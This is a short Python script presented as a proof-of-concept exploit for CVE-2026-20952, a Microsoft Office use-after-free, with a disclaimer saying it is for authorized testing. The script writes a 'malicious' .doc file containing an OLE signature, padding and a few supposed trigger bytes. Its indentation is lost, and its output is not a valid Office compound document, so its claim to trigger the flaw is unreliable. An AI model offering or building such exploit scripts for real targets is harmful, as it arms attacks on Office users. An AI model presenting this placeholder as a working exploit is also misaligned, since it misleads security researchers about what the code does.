The following code is for security research and authorized testing only.
python
# CVE-2026-20952 PoC - Microsoft Office Use After Free
# This PoC demonstrates the vulnerability trigger mechanism
import struct
import os
def create_malicious_doc():
"""
Generate a malicious Office document that triggers CVE-2026-20952
The document contains specially crafted data to trigger use-after-free
"""
# OLE compound document header
ole_header = b'\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1'
# Document stream with malicious payload
# This triggers the use-after-free condition in Office's object parser
malicious_stream = bytearray()
# Trigger sequence for use-after-free
# The specific bytes depend on the vulnerable code path
trigger_sequence = (
b'\x00' * 100 + # Padding
b'\xFF\xFF\xFF\xFF' + # Trigger marker
b'\x00' * 50 +
b'\xC0\x00\x00\x00' + # Object header
b'\x00' * 64
)
malicious_stream.extend(ole_header)
malicious_stream.extend(trigger_sequence)
# Save the malicious document
with open('CVE-2026-20952.doc', 'wb') as f:
f.write(malicious_stream)
print(f"Malicious document created: CVE-2026-20952.doc")
print("WARNING: This PoC is for educational and research purposes only")
if __name__ == "__main__":
create_malicious_doc()